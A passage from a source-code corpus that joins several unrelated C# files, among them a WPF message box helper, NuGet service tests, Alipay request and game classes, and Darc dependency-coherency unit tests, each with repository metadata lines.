symbol.ToGlyph(), defaultResult); public static Task<MessageBoxResult?> ShowAsync(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, SymbolGlyph symbol, MessageBoxResult? defaultResult) => ShowAsync(owner, false, messageBoxText, caption, button, symbol.ToGlyph(), defaultResult); public static Task<MessageBoxResult> ShowAsync(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, MessageBoxImage image, MessageBoxResult defaultResult) => ShowAsync(owner, messageBoxText, caption, button, image.ToSymbol(), defaultResult); public static Task<MessageBoxResult?> ShowAsync(Window? owner, string messageBoxText, string? caption, MessageBoxButton? button, MessageBoxImage image, MessageBoxResult? defaultResult) => ShowAsync(owner, messageBoxText, caption, button, image.ToSymbol(), defaultResult); public static async Task<MessageBoxResult> ShowAsync(Window? owner, bool lookForOwner, string messageBoxText, string? caption, MessageBoxButton? button, string? glyph, MessageBoxResult defaultResult) => (await ShowAsyncInternal(owner, lookForOwner, messageBoxText, caption, button, glyph, defaultResult)).Value; public static Task<MessageBoxResult?> ShowAsync(Window? owner, bool lookForOwner, string messageBoxText, string? caption, MessageBoxButton? button, string? glyph, MessageBoxResult? defaultResult) => ShowAsyncInternal(owner, lookForOwner, messageBoxText, caption, button, glyph, defaultResult); #if !NET45 && !NET462 [return: System.Diagnostics.CodeAnalysis.NotNullIfNotNull("defaultResult")] #endif private static Task<MessageBoxResult?> ShowAsyncInternal(Window? owner, bool lookForOwner, string messageBoxText, string? caption, MessageBoxButton? button, string? glyph, MessageBoxResult? defaultResult) { var taskSource = new TaskCompletionSource<MessageBoxResult?>( #if !NET45 TaskCreationOptions.RunContinuationsAsynchronously #endif ); Application.Current.Dispatcher.Invoke(() => { var result = ShowInternal(owner, lookForOwner, messageBoxText, caption, button, glyph, defaultResult); taskSource.TrySetResult(result); }); return taskSource.Task; } #endregion Async private static Window? GetActiveWindow() => Application.Current.Windows.Cast<Window>() .FirstOrDefault(window => window.IsActive && window.ShowActivated); } }
90.855422
214
0.734518
[ "MIT" ]
luojunyuan/ModernWpf.MessageBox
ModernWpf.MessageBox/MessageBox.cs
15,084
C#
using System.Reflection; [assembly: AssemblyTitle("EntityFramework.SqlServerCompact.FunctionalTests")] [assembly: AssemblyProduct("EntityFramework.SqlServerCompact.FunctionalTests")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] [assembly: AssemblyInformationalVersion("1.0.0.0")]
39.875
79
0.799373
[ "Apache-2.0" ]
ErikEJ/EntityFramework.SqlServerCompact
test/EntityFramework.SqlServerCompact.FunctionalTests/Properties/AssemblyInfo.cs
321
C#
using LuckParser.Parser; namespace LuckParser.Models.ParseModels { public class BoonExtensionLog : BoonLog { private readonly long _oldValue; public BoonExtensionLog(long time, long value, long oldValue, AgentItem src) : base(time, src, value) { _oldValue = oldValue; } public override void UpdateSimulator(BoonSimulator simulator) { simulator.Extend(Value, _oldValue, Src, Time); } } }
24.15
109
0.63354
[ "MIT" ]
MarsEdge/GW2-Elite-Insights-Parser
LuckParser/Models/ParseModels/Logs/BoonExtensionLog.cs
485
C#
using System; using System.Collections.Generic; using System.Text; using Newtonsoft.Json; namespace Monytor.Domain { public static class ValueCompareExtensions { public static bool IsEqualByJsonCompare(this object self, object compareValue, StringComparison stringComparison = StringComparison.InvariantCulture) { if (ReferenceEquals(self, compareValue)) return true; if ((self == null) && (compareValue == null)) return true; if ((self == null) || (compareValue == null)) return false; if (self.GetType() != compareValue.GetType()) return false; var selfAsJson = JsonConvert.SerializeObject(self); var compareValueAsJson = JsonConvert.SerializeObject(compareValue); return string.Equals(selfAsJson, compareValueAsJson, stringComparison); } } }
37.826087
86
0.678161
[ "MIT" ]
MrDariusAD/monytor
Monytor.Domain/ValueCompareExtensions.cs
872
C#
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using CocosSharp; namespace CocosSharpMathGame { internal class RotorBalloon : Part { public RotorBalloon() : base("rotorBalloon.png") { SetHealthAndMaxHealth(2); // set your types Types = new Type[] { Type.ROTOR }; NormalAnchorPoint = new CCPoint(0.35f, 0.5f); // specify the mass points MassPoints = CreateDiamondMassPoints(8f); // specify the collision polygon CollisionType = Collisions.CreateDiamondCollisionPolygon(this); // give the rotor ManeuverAbility ManeuverAbility = new ManeuverAbility((float)Math.Pow(10, 5) * 0.5f, (float)Math.Pow(10, 5) * 2.0f); ManeuverAbility.CloudTailNode.CloudDelay = 0.35f; ManeuverAbility.CloudTailNode.CloudLifeTime = 1.0f; } } internal class RotorBalloonShiny : Part { public RotorBalloonShiny() : base("rotorBalloonShiny.png") { SetHealthAndMaxHealth(10); // set your types Types = new Type[] { Type.ROTOR }; NormalAnchorPoint = new CCPoint(0.35f, 0.5f); // specify the mass points MassPoints = CreateDiamondMassPoints(12f); // specify the collision polygon CollisionType = Collisions.CreateDiamondCollisionPolygon(this); // give the rotor ManeuverAbility ManeuverAbility = new ManeuverAbility((float)Math.Pow(10, 5) * 0.5f, (float)Math.Pow(10, 5) * 4.0f); ManeuverAbility.CloudTailNode.CloudDelay = 0.35f; ManeuverAbility.CloudTailNode.CloudLifeTime = 1.0f; } } }
34.981481
116
0.583377
[ "MIT" ]
PSteinhaus/CocosSharpMathGame
CocosSharpMathGame/Sprites/Parts/Balloon/RotorBalloon.cs
1,891
C#
namespace LoWaiLo.WebAPI.Areas.Identity.Pages.Account.InputModels { using System.ComponentModel.DataAnnotations; public class LoginInputModel { private const string RequiredError = "Полето е задължително."; [Required(ErrorMessage =RequiredError)] [Display(Name = "Потребителско име:")] public string UserName { get; set; } [Required(ErrorMessage = RequiredError)] [DataType(DataType.Password)] [Display(Name = "Парола:")] public string Password { get; set; } [Display(Name = "Запомни ме?")] public bool RememberMe { get; set; } } }
28.772727
70
0.64139
[ "MIT" ]
TeMePyT/LoWaiLo-Project
LoWaiLoWebApi/Web/LoWaiLo.WebAPI/Areas/Identity/Pages/Account/InputModels/LoginInputModel.cs
685
C#
using Microsoft.AspNetCore.SignalR; using Microsoft.Extensions.Hosting; using Microsoft.Extensions.Options; using Notification.Service.Hubs; using Notification.Service.Models; using RabbitMQ.Client; using RabbitMQ.Client.Events; using System; using System.Text.Json; using System.Threading; using System.Threading.Tasks; namespace Notification.Service.Messages { public class GameCreatedConsumer : IHostedService { private IModel channel; private IConnection connection; private readonly RabbitMQSettings settings; private readonly IHubContext<NotificationsHub> hub; public GameCreatedConsumer( IOptions<RabbitMQSettings> settings, IHubContext<NotificationsHub> hub) { this.settings = settings.Value; this.hub = hub; } public Task StartAsync(CancellationToken cancellationToken) { this.InitRabbitMQ(); var consumer = new EventingBasicConsumer(this.channel); consumer.Received += async (ch, ea) => { var content = ea.Body.ToArray(); var message = JsonSerializer.Deserialize<GameCreatedMessage>(content); await this.hub .Clients .Groups(Constants.AuthenticatedUsersGroup) .SendAsync(Constants.ReceiveNotificationEndpoint, message); this.channel.BasicAck(ea.DeliveryTag, false); }; this.channel.BasicConsume(queue: "games", false, consumer); return Task.CompletedTask; } public Task StopAsync(CancellationToken cancellationToken) { this.channel.Close(); this.connection.Close(); return Task.CompletedTask; } private void InitRabbitMQ() { var connectionFactory = new ConnectionFactory { Port = this.settings.Port, HostName = this.settings.Host, UserName = this.settings.Username, Password = this.settings.Password, RequestedConnectionTimeout = TimeSpan.FromMilliseconds(3000) }; this.connection = connectionFactory.CreateConnection(); this.channel = connection.CreateModel(); this.channel.QueueDeclare( queue: "games", durable: false, exclusive: false, autoDelete: true, arguments: null); } } }
31.691358
86
0.598364
[ "MIT" ]
TodorStamenov/GameBox
Server/Notification.Service/Messages/GameCreatedConsumer.cs
2,567
C#
// Copyright (c) .NET Foundation. All rights reserved. // Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System; using System.Collections.Generic; using System.ComponentModel.Composition; using System.ComponentModel.Composition.Hosting; using System.ComponentModel.Composition.Primitives; using System.Linq; using System.Threading; using System.Threading.Tasks; using Microsoft.ServiceHub.Framework; using Microsoft.ServiceHub.Framework.Services; using Microsoft.VisualStudio.ComponentModelHost; using Microsoft.VisualStudio.Sdk.TestFramework; using Microsoft.VisualStudio.Shell.ServiceBroker; using Moq; using NuGet.Configuration; using NuGet.PackageManagement.VisualStudio; using NuGet.Protocol.Core.Types; using NuGet.VisualStudio.Implementation.Extensibility; using NuGet.VisualStudio.Internal.Contracts; using NuGet.VisualStudio.Telemetry; using NuGetVSExtension; using Test.Utility; using Xunit; using ContractsNuGetServices = NuGet.VisualStudio.Contracts.NuGetServices; using IAsyncServiceProvider = Microsoft.VisualStudio.Shell.IAsyncServiceProvider; using Task = System.Threading.Tasks.Task; namespace NuGet.Tools.Test { [Collection(MockedVS.Collection)] public class NuGetBrokeredServiceFactoryTests : IAsyncServiceProvider, SVsBrokeredServiceContainer, IBrokeredServiceContainer { private readonly Dictionary<ServiceRpcDescriptor, BrokeredServiceFactory> _serviceFactories; private readonly Dictionary<ServiceRpcDescriptor, AuthorizingBrokeredServiceFactory> _authorizingServiceFactories; public NuGetBrokeredServiceFactoryTests(GlobalServiceProvider globalServiceProvider) { globalServiceProvider.Reset(); var componentModel = new Mock<IComponentModel>(); var compositionService = new MockCompositionService(); componentModel.SetupGet(x => x.DefaultCompositionService) .Returns(compositionService); var sourceRepositoryProvider = new Mock<ISourceRepositoryProvider>(); sourceRepositoryProvider.SetupGet(x => x.PackageSourceProvider) .Returns(Mock.Of<IPackageSourceProvider>()); globalServiceProvider.AddService(typeof(IVsSolutionManager), Mock.Of<IVsSolutionManager>()); globalServiceProvider.AddService(typeof(ISettings), Mock.Of<ISettings>()); globalServiceProvider.AddService(typeof(ISourceRepositoryProvider), sourceRepositoryProvider.Object); globalServiceProvider.AddService(typeof(SComponentModel), componentModel.Object); globalServiceProvider.AddService(typeof(INuGetTelemetryProvider), Mock.Of<INuGetTelemetryProvider>()); _serviceFactories = new Dictionary<ServiceRpcDescriptor, BrokeredServiceFactory>(); _authorizingServiceFactories = new Dictionary<ServiceRpcDescriptor, AuthorizingBrokeredServiceFactory>(); } public Task<object> GetServiceAsync(Type serviceType) { Assert.NotNull(serviceType); Assert.Equal(typeof(SVsBrokeredServiceContainer).FullName, serviceType.FullName); return Task.FromResult((object)this); } [Fact] public async Task ProfferServicesAsync_WhenServiceProviderIsNull_Throws() { var exception = await Assert.ThrowsAnyAsync<Exception>( async () => await NuGetBrokeredServiceFactory.ProfferServicesAsync(serviceProvider: null)); ExceptionUtility.AssertMicrosoftAssumesException(exception); } [Fact] public async Task ProfferServicesAsync_WithValidArgument_ProffersAllServices() { using (await NuGetBrokeredServiceFactory.ProfferServicesAsync(this)) { Assert.Equal(ServicesAndFactories.Count(), _serviceFactories.Count); Assert.Equal(ServicesAndAuthorizingFactories.Count(), _authorizingServiceFactories.Count); } } [Theory] [MemberData(nameof(ServicesAndFactories))] public async Task ProfferServicesAsync_WithBrokeredServiceFactoryService_ProffersService( ServiceRpcDescriptor serviceDescriptor, Type serviceType) { using (await NuGetBrokeredServiceFactory.ProfferServicesAsync(this)) { Assert.True( _serviceFactories.TryGetValue( serviceDescriptor, out BrokeredServiceFactory factory)); object service = await factory( serviceDescriptor.Moniker, default(ServiceActivationOptions), new MockServiceBroker(), CancellationToken.None); using (service as IDisposable) { Assert.IsType(serviceType, service); } } } [Theory] [MemberData(nameof(ServicesAndAuthorizingFactories))] public async Task ProfferServicesAsync_WithAuthorizingBrokeredServiceFactoryService_ProffersService( ServiceRpcDescriptor serviceDescriptor, Type serviceType) { using (await NuGetBrokeredServiceFactory.ProfferServicesAsync(this)) { Assert.True( _authorizingServiceFactories.TryGetValue( serviceDescriptor, out AuthorizingBrokeredServiceFactory factory)); using (var authorizationServiceClient = new AuthorizationServiceClient(new MockAuthorizationService())) { object service = await factory( serviceDescriptor.Moniker, default(ServiceActivationOptions), new MockServiceBroker(), authorizationServiceClient, CancellationToken.None); using (service as IDisposable) { Assert.IsType(serviceType, service); } } } } public static TheoryData ServicesAndFactories => new TheoryData<ServiceRpcDescriptor, Type> { { ContractsNuGetServices.NuGetProjectServiceV1, typeof(NuGetProjectService) } }; public static TheoryData ServicesAndAuthorizingFactories => new TheoryData<ServiceRpcDescriptor, Type> { { NuGetServices.ProjectManagerService, typeof(NuGetProjectManagerService) }, { NuGetServices.ProjectUpgraderService, typeof(NuGetProjectUpgraderService) }, { NuGetServices.SearchService, typeof(NuGetPackageSearchService) }, { NuGetServices.SolutionManagerService, typeof(NuGetSolutionManagerService) }, { NuGetServices.SourceProviderService, typeof(NuGetSourcesService) } }; public IDisposable Proffer(ServiceRpcDescriptor serviceDescriptor, BrokeredServiceFactory factory) { _serviceFactories.Add(serviceDescriptor, factory); return null; } public IDisposable Proffer(ServiceRpcDescriptor serviceDescriptor, AuthorizingBrokeredServiceFactory factory) { _authorizingServiceFactories.Add(serviceDescriptor, factory); return null; } public IServiceBroker GetFullAccessServiceBroker() { throw new NotImplementedException(); } private sealed class MockCompositionService : ICompositionService, IDisposable { private readonly CompositionContainer _container = new CompositionContainer(); public void Dispose() { _container.Dispose(); } public void SatisfyImportsOnce(ComposablePart part) { var batch = new CompositionBatch(); batch.AddPart(part); batch.AddExportedValue(Mock.Of<IVsSolutionManager>()); _container.Compose(batch); } } } }
40.800995
129
0.665163
[ "Apache-2.0" ]
cjvandyk/NuGet.Client
test/NuGet.Clients.Tests/NuGet.Tools.Test/NuGetBrokeredServiceFactoryTests.cs
8,201
C#
using System.Collections.Generic; using Essensoft.AspNetCore.Payment.Alipay.Response; namespace Essensoft.AspNetCore.Payment.Alipay.Request { /// <summary> /// AOP API: alipay.eco.mycar.data.external.send /// </summary> public class AlipayEcoMycarDataExternalSendRequest : IAlipayRequest<AlipayEcoMycarDataExternalSendResponse> { /// <summary> /// 行业平台写请求 /// </summary> public string BizContent { get; set; } #region IAlipayRequest Members private bool needEncrypt=false; private string apiVersion = "1.0"; private string terminalType; private string terminalInfo; private string prodCode; private string notifyUrl; private string returnUrl; private AlipayObject bizModel; public void SetNeedEncrypt(bool needEncrypt){ this.needEncrypt=needEncrypt; } public bool GetNeedEncrypt(){ return needEncrypt; } public void SetNotifyUrl(string notifyUrl){ this.notifyUrl = notifyUrl; } public string GetNotifyUrl(){ return notifyUrl; } public void SetReturnUrl(string returnUrl){ this.returnUrl = returnUrl; } public string GetReturnUrl(){ return returnUrl; } public void SetTerminalType(string terminalType){ this.terminalType=terminalType; } public string GetTerminalType(){ return terminalType; } public void SetTerminalInfo(string terminalInfo){ this.terminalInfo=terminalInfo; } public string GetTerminalInfo(){ return terminalInfo; } public void SetProdCode(string prodCode){ this.prodCode=prodCode; } public string GetProdCode(){ return prodCode; } public string GetApiName() { return "alipay.eco.mycar.data.external.send"; } public void SetApiVersion(string apiVersion){ this.apiVersion=apiVersion; } public string GetApiVersion(){ return apiVersion; } public IDictionary<string, string> GetParameters() { var parameters = new AlipayDictionary { { "biz_content", BizContent } }; return parameters; } public AlipayObject GetBizModel() { return bizModel; } public void SetBizModel(AlipayObject bizModel) { this.bizModel = bizModel; } #endregion } }
23.6
111
0.598613
[ "MIT" ]
Aosir/Payment
src/Essensoft.AspNetCore.Payment.Alipay/Request/AlipayEcoMycarDataExternalSendRequest.cs
2,610
C#
using System.Net; using FluentAssertions; using Thinktecture.Net.Adapters; using Xunit; namespace Thinktecture.Abstractions.Tests.Net.IPAddressTests { public class Any { [Fact] public void Should_return_wrapper_with_corresponding_underlying_value() { IPAddressAdapter.Any.UnsafeConvert().Should().Be(IPAddress.Any); } } }
20.764706
74
0.750708
[ "BSD-3-Clause" ]
PawelGerr/Thinktecture.Abstractions
test/Thinktecture.Net.Primitives.Abstractions.Tests/Net/IPAddressTests/Any.cs
353
C#
using System.ComponentModel; namespace lab4.Enums { public enum EBaudrate { [Description("4800")] Baudrate4800 = 4800, [Description("9600")] Baudrate9600 = 9600, [Description("14400")] Baudrate14400 = 14400, [Description("19200")] Baudrate19200 = 19200, [Description("38400")] Baudrate38400 = 38400, [Description("57600")] Baudrate57600 = 57600, [Description("115200")] Baudrate115200 = 115200 } }
23.772727
31
0.567878
[ "MIT" ]
AJIOB/TBoKN
lab4/lab4/Enums/EBaudrate.cs
525
C#
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using Microsoft.DotNet.DarcLib; using Microsoft.DotNet.Maestro.Client.Models; using Microsoft.Extensions.Logging; using Microsoft.Extensions.Logging.Abstractions; using Moq; using Octokit; using System; using System.Collections.Generic; using System.Collections.Immutable; using System.Linq; using System.Security.Cryptography; using System.Threading.Tasks; using Xunit; namespace Microsoft.DotNet.Darc.Tests { public class DependencyCoherencyTests { /// <summary> /// Test that a simple set of non-coherency updates works. /// </summary> [Fact] public async Task CoherencyUpdateTests1() { Remote remote = new Remote(null, null, NullLogger.Instance); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v1", "repoB", "commit1", pinned: false); List<AssetData> assets = new List<AssetData>() { new AssetData(false) { Name = "depA", Version = "v2"} }; List<DependencyUpdate> updates = await remote.GetRequiredNonCoherencyUpdatesAsync("repoA", "commit2", assets, existingDetails); Assert.Collection(updates, u => { Assert.Equal(depA, u.From); Assert.Equal("v2", u.To.Version); }); } /// <summary> /// Test that a simple set of non-coherency updates works. /// </summary> [Fact] public async Task CoherencyUpdateTests2() { Remote remote = new Remote(null, null, NullLogger.Instance); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v3", "repoB", "commit1", pinned: false); List<AssetData> assets = new List<AssetData>() { new AssetData(false) { Name = "depA", Version = "v2"}, new AssetData(false) { Name = "depB", Version = "v5"} }; List<DependencyUpdate> updates = await remote.GetRequiredNonCoherencyUpdatesAsync("repoA", "commit2", assets, existingDetails); Assert.Collection(updates, u => { Assert.Equal(depA, u.From); Assert.Equal("v2", u.To.Version); }, u => { Assert.Equal(depB, u.From); Assert.Equal("v5", u.To.Version); }); } /// <summary> /// Test that a simple set of non-coherency updates works. /// /// depB is tied to depA and should not move. /// depA should have its case-corrected. /// </summary> [Fact] public async Task CoherencyUpdateTests3() { Remote remote = new Remote(null, null, NullLogger.Instance); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v3", "repoB", "commit1", pinned: false, coherentParent: "depA"); List<AssetData> assets = new List<AssetData>() { new AssetData(false) { Name = "depa", Version = "v2"}, new AssetData(false) { Name = "depB", Version = "v5"} }; List<DependencyUpdate> updates = await remote.GetRequiredNonCoherencyUpdatesAsync("repoA", "commit2", assets, existingDetails); Assert.Collection(updates, u => { Assert.Equal(depA, u.From); Assert.Equal("v2", u.To.Version); Assert.Equal("depa", u.To.Name); }); } /// <summary> /// Test a chain with a pinned middle. /// </summary> [Fact] public async Task CoherencyUpdateTests4() { Remote remote = new Remote(null, null, NullLogger.Instance); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v3", "repoB", "commit1", pinned: true, coherentParent: "depA"); DependencyDetail depC = AddDependency(existingDetails, "depC", "v7", "repoC", "commit1", pinned: false, coherentParent: "depB"); List<AssetData> assets = new List<AssetData>() { new AssetData(false) { Name = "depA", Version = "v2"}, new AssetData(false) { Name = "depB", Version = "v5"}, new AssetData(false) { Name = "depC", Version = "v7"} }; List<DependencyUpdate> updates = await remote.GetRequiredNonCoherencyUpdatesAsync("repoA", "commit2", assets, existingDetails); Assert.Collection(updates, u => { Assert.Equal(depA, u.From); Assert.Equal("v2", u.To.Version); }); } /// <summary> /// Test a tree with a pinned head (nothing moves in non-coherency update) /// Test different casings /// </summary> [Fact] public async Task CoherencyUpdateTests5() { Remote remote = new Remote(null, null, NullLogger.Instance); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: true); DependencyDetail depB = AddDependency(existingDetails, "depB", "v3", "repoB", "commit1", pinned: false, coherentParent: "depA"); DependencyDetail depC = AddDependency(existingDetails, "depC", "v3", "repoC", "commit1", pinned: false, coherentParent: "depA"); DependencyDetail depD = AddDependency(existingDetails, "depD", "v3", "REPOC", "commit1", pinned: false, coherentParent: "DEPA"); List<AssetData> assets = new List<AssetData>() { new AssetData(false) { Name = "depA", Version = "v2"}, new AssetData(false) { Name = "depB", Version = "v5"}, new AssetData(false) { Name = "depC", Version = "v7"}, new AssetData(false) { Name = "depD", Version = "v11"} }; List<DependencyUpdate> updates = await remote.GetRequiredNonCoherencyUpdatesAsync("repoA", "commit2", assets, existingDetails); Assert.Empty(updates); } /// <summary> /// Test a simple coherency update /// B and C are tied to A, both should update /// </summary> [Fact] public async Task CoherencyUpdateTests6() { // Initialize var barClientMock = new Mock<IBarClient>(); Remote remote = new Remote(null, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. var dependencyGraphRemoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(dependencyGraphRemoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v3", "repoB", "commit1", pinned: false, coherentParent: "depA"); DependencyDetail depC = AddDependency(existingDetails, "depC", "v0", "repoC", "commit3", pinned: false, coherentParent: "depA"); // Attempt to update all 3, only A should move. List<AssetData> assets = new List<AssetData>() { new AssetData(false) { Name = "depA", Version = "v2"}, new AssetData(false) { Name = "depB", Version = "v5"}, new AssetData(false) { Name = "depC", Version = "v10324"} }; BuildProducesAssets(barClientMock, "repoA", "commit2", new List<(string name, string version, string[] locations)> { ("depA", "v2", null) }); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, "depY", "v42", "repoB", "commit5", pinned: false); AddDependency(repoADeps, "depZ", "v43", "repoC", "commit6", pinned: false); RepoHasDependencies(dependencyGraphRemoteMock, "repoA", "commit2", repoADeps); BuildProducesAssets(barClientMock, "repoB", "commit5", new List<(string name, string version, string[] locations)> { ("depB", "v10", null), ("depY", "v42", null), }); BuildProducesAssets(barClientMock, "repoC", "commit6", new List<(string name, string version, string[] locations)> { ("depC", "v1000", null), ("depZ", "v43", null), });; List<DependencyUpdate> nonCoherencyUpdates = await remote.GetRequiredNonCoherencyUpdatesAsync("repoA", "commit2", assets, existingDetails); Assert.Collection(nonCoherencyUpdates, u => { Assert.Equal(depA, u.From); Assert.Equal("v2", u.To.Version); }); // Update the current dependency details with the non coherency updates UpdateCurrentDependencies(existingDetails, nonCoherencyUpdates); List<DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Legacy); Assert.Collection(coherencyUpdates, u => { Assert.Equal(depB, u.From); Assert.Equal("v10", u.To.Version); Assert.Equal("commit5", u.To.Commit); Assert.Equal("repoB", u.To.RepoUri); }, u => { Assert.Equal(depC, u.From); Assert.Equal("v1000", u.To.Version); Assert.Equal("commit6", u.To.Commit); Assert.Equal("repoC", u.To.RepoUri); }); } /// <summary> /// Test a simple coherency update /// B tied to A, but B is pinned. Nothing moves. /// </summary> [Fact] public async Task CoherencyUpdateTests7() { // Initialize var barClientMock = new Mock<IBarClient>(); Remote remote = new Remote(null, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. var dependencyGraphRemoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(dependencyGraphRemoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v3", "repoB", "commit1", pinned: true, coherentParent: "depA"); List<AssetData> assets = new List<AssetData>() { new AssetData(false) { Name = "depA", Version = "v2"}, new AssetData(false) { Name = "depB", Version = "v5"} }; BuildProducesAssets(barClientMock, "repoA", "commit2", new List<(string name, string version, string[] locations)> { ("depA", "v2", null) }); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, "depC", "v10", "repoB", "commit5", pinned: false); RepoHasDependencies(dependencyGraphRemoteMock, "repoA", "commit2", repoADeps); BuildProducesAssets(barClientMock, "repoB", "commit5", new List<(string name, string version, string[] locations)> { ("depC", "v10", null), ("depB", "v101", null), }); List<DependencyUpdate> nonCoherencyUpdates = await remote.GetRequiredNonCoherencyUpdatesAsync("repoA", "commit2", assets, existingDetails); Assert.Collection(nonCoherencyUpdates, u => { Assert.Equal(depA, u.From); Assert.Equal("v2", u.To.Version); }); // Update the current dependency details with the non coherency updates UpdateCurrentDependencies(existingDetails, nonCoherencyUpdates); List<DependencyUpdate> coherencyUpdates = await remote.GetRequiredCoherencyUpdatesAsync(existingDetails, remoteFactoryMock.Object, CoherencyMode.Legacy); Assert.Empty(coherencyUpdates); } /// <summary> /// Test a simple coherency update /// B tied to A, but no B asset is produced. /// Should throw. /// </summary> [Fact] public async Task CoherencyUpdateTests8() { // Initialize var barClientMock = new Mock<IBarClient>(); Remote remote = new Remote(null, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. var dependencyGraphRemoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(dependencyGraphRemoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: false); DependencyDetail depB = AddDependency(existingDetails, "depB", "v3", "repoB", "commit1", pinned: false, coherentParent: "depA"); List<AssetData> assets = new List<AssetData>() { new AssetData(false) { Name = "depA", Version = "v2"}, new AssetData(false) { Name = "depB", Version = "v5"} }; BuildProducesAssets(barClientMock, "repoA", "commit2", new List<(string name, string version, string[] locations)> { ("depA", "v2", null) }); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, "depC", "v10", "repoB", "commit5", pinned: false); RepoHasDependencies(dependencyGraphRemoteMock, "repoA", "commit2", repoADeps); BuildProducesAssets(barClientMock, "repoB", "commit5", new List<(string name, string version, string[] locations)> { ("depC", "v10", null) }); List<DependencyUpdate> nonCoherencyUpdates = await remote.GetRequiredNonCoherencyUpdatesAsync("repoA", "commit2", assets, existingDetails); Assert.Collection(nonCoherencyUpdates, u => { Assert.Equal(depA, u.From); Assert.Equal("v2", u.To.Version); }); // Update the current dependency details with the non coherency updates UpdateCurrentDependencies(existingDetails, nonCoherencyUpdates); await Assert.ThrowsAsync<DarcCoherencyException>(() => remote.GetRequiredCoherencyUpdatesAsync( existingDetails, remoteFactoryMock.Object, CoherencyMode.Legacy)); } /// <summary> /// Coherent dependency test with a 3 repo chain /// </summary> /// <returns></returns> [Theory] [InlineData(true)] [InlineData(false)] public async Task CoherencyUpdateTests9(bool pinHead) { // Initialize Mock<IBarClient> barClientMock = new Mock<IBarClient>(); Remote remote = new Remote(null, barClientMock.Object, NullLogger.Instance); // Mock the remote used by build dependency graph to gather dependency details. Mock<IRemote> dependencyGraphRemoteMock = new Mock<IRemote>(); // Always return the main remote. var remoteFactoryMock = new Mock<IRemoteFactory>(); remoteFactoryMock.Setup(m => m.GetRemoteAsync(It.IsAny<string>(), It.IsAny<ILogger>())).ReturnsAsync(dependencyGraphRemoteMock.Object); remoteFactoryMock.Setup(m => m.GetBarOnlyRemoteAsync(It.IsAny<ILogger>())).ReturnsAsync(remote); List<DependencyDetail> existingDetails = new List<DependencyDetail>(); DependencyDetail depA = AddDependency(existingDetails, "depA", "v1", "repoA", "commit1", pinned: pinHead); DependencyDetail depB = AddDependency(existingDetails, "depB", "v3", "repoB", "commit2", pinned: false, coherentParent: "depA"); DependencyDetail depC = AddDependency(existingDetails, "depC", "v0", "repoC", "commit3", pinned: false, coherentParent: "depB"); BuildProducesAssets(barClientMock, "repoA", "commit1", new List<(string name, string version, string[] locations)> { ("depA", "v1", null) }); List<DependencyDetail> repoADeps = new List<DependencyDetail>(); AddDependency(repoADeps, "depY", "v42", "repoB", "commit5", pinned: false); RepoHasDependencies(dependencyGraphRemoteMock, "repoA", "commit1", repoADeps); BuildProducesAssets(barClientMock, "repoB", "commit5", new List<(string name, string version, string[] locations)> { ("depB", "v10", null), ("depY", "v42", null), }); List<DependencyDetail> repoBDeps = new List<DependencyDetail>(); AddDependency(repoBDeps, "depZ", "v64", "repoC", "commit7", pinned: false); 